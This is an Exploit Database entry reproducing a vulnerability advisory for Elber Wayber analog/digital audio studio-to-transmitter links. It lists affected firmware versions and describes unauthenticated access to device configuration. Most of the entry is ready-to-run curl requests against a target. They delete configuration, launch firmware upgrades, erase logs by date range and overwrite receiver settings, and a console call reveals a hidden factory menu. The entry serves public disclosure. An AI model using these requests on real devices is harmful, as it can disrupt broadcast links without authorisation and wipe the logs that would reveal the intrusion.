Elber Wayber Analog/Digital Audio STL 4.00 – Device Config Disclosure

Exploit Database
839 阅读

作者： LiquidWorm

日期： 2024-08-24
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/52072/

Elber Wayber Analog/Digital Audio STL 4.00 Device Config

Vendor: Elber S.r.l.

Product web page: https://www.elber.it

Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)

Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)

Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)

Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)

Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)

Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)

Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)

Summary: Wayber II is the name of an analogue/digital microwave link

able to transport a Mono or a MPX stereo signal from studio to audio

transmitter. Compact and reliable, it features very high quality and

modern technology both in signal processing and microwave section leading

to outstanding performances.

Desc: The device suffers from an unauthenticated device configuration and

client-side hidden functionality disclosure.

Tested on: NBFM Controller

embOS/IP

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2024-5823

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5823.php

18.08.2023

# Config fan

$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='

Configuration applied

# Delete config

$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'

File delete successfully

# Launch upgrade

$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'

Upgrade launched Successfully

# Log erase

$ curl 'http://TARGET/json_data/erase_log.js?until=-2'

Logs erased

# Until:

# =0 ALL

# =-2 Yesterday

# =-8 Last week

# =-15 Last two weeks

# =-22 Last three weeks

# =-31 Last month

# Set RX config

$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'

RX Config Applied Successfully

# Show factory window and FPGA upload (Console)

> cleber_show_factory_wnd()

# Etc.